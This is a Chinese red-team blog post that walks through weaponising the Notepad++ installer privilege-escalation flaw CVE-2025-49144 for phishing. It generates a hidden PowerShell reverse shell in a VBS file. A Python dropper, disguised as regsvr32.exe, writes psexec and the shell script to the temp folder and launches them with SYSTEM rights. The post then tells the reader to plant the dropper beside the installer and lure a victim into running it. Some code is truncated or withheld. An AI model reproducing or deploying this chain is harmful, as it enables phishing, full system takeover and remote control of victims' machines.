上一篇文章中简述了 notepad++ 的提权漏洞CVE-2025-49144,有师傅复现的时候遇到点疑问,这里详细写一个钓鱼并提权到 system 的复现过程
⚠️ 免责声明:本公众号分享的技术方案仅用于✅ 合法授权的测试研究✅ 防御技术提升学习✅ 使用者造成的一切后果与作者无关禁止用于任何违反《网络安全法》及地方法规行为,使用者需对自身行为负全部法律责任
前情提要和逆向分析
图标是 pyinstaller 打包的默认图标,那他源码是 python 写的,PY的反编译很简单,花了一点点时间🤏逆向出源码如下
-
1. 有一段很大的 base64,他是一个反弹shell的 exe 文件编码后的 -
2. 脚本检测了当前用户的temp目录下是否存在
shell.exe
文件 -
3. 运行 exe 进行反弹 shell
psexec.exe
和
shell.exe
两个文件,前者是用来获取system会话,后者是木马文件
因此整体思路就明了了
-
• 1️⃣运行notepad++安装程序 -
• 2️⃣由于8.8.1版本的漏洞,导致加载了同目录下的
regsvr32.exe
文件 -
• 3️⃣
regsvr32.exe
释放 psexec 和木文件 -
• 4️⃣psexec获取system会话,并使用system会话拉起木马文件 -
• 5️⃣最终木马以system权限运行起来
原作者在github发布的漏洞文章,却引导读者去网盘下载POC,运行后隐藏到临时目录,并且现在也删除了原文和网盘,有点微妙🤔
不过对于我们红队钓鱼来说确实是一个不错的范本,下面开始我的正式复现
详细复现
准备好木🐎文件
revshells.com
生成一个 powershell base64 的反弹命令
反弹命令添加到如下vbs脚本中,这样处理运行时可以隐藏黑色命令行窗口
Set WshShell = CreateObject("
WScript.Shell")
WshShell.Run
"powershell -e JABjAGwAa......ADpAA==", 0
base64 编码
psexec.exe两个文件分别base64编码,这里直接在kali中完成即可,
-w 0 参数禁止换行
修改 EXP
然后把这两段base64复制到如下python脚本中的两个变量中
import base64import osimport tempfileimport subprocessimport sys# base64编码后的exe文件psexec_base64 = "TVqQAA/+lDlzEJgLTf......G74JycgAA"revshell_base64 = "U2V0IFdzaFNoZWxs......iLCAw"defprint_banner():print(""" ┌──────────────────────────────────────┐ │ 微信公众号 · 红队安全圈 │ └──────────────────────────────────────┘ """)# 执行命令,禁止出现黑色弹窗defrun_hidden(command):if
sys.platform
== 'win32':''' 由于安全原因,请在公众号后台回复 CVE-2025-49144 获取完整python脚本 '''else:
subprocess.run(command,
shell=False)# 解码并输出到用户temp目录defrestore_exe(exe_base64,outname): temp_dir =
tempfile.gettempdir()
exe_path =
os.path.join(temp_dir,
outname)try: exe_data =
base64.b64decode(exe_base64)
withopen(exe_path, 'wb') as f:
f.write(exe_data)
#print(f"restore file to: {
os.path.abspath(exe_path)}")
returnTrueexcept Exception as e:#print(f"restore error: {e}")returnFalseif __name__ == '__main__':# 将base64编码的exe文件还原并释放到tmep restore_exe(psexec_base64,outname='
psexec.exe'
) restore_exe(revshell_base64,outname='
revshell.vbs'
)# psexec 调起 system 权限的 wscript 执行 vbs 脚本 run_hidden([
os.path.join(tempfile.gettempdir(),
'
psexec.exe'
),'-i', '-s', '-d','
wscript.exe'
,
os.path.join(tempfile.gettempdir(),
'
revshell.vbs'
),'-accepteula' ])
打包成 exe
最后把python脚本打包,并命名为
regsvr32.exe,记得要加上**-w**参数隐藏控制台
pyinstaller -F
1.py
-w -n
regsvr32.exe
社工钓鱼上线 system
regsvr32.exe
和 notepad++安装包放在同一个目录,攻击机开启监听,引导目标下载并执行安装程序,即可弹回system权限的shell
原文始发于微信公众号(红队安全圈):[CVE-2025-49144] 超详细复现notepad++提权漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论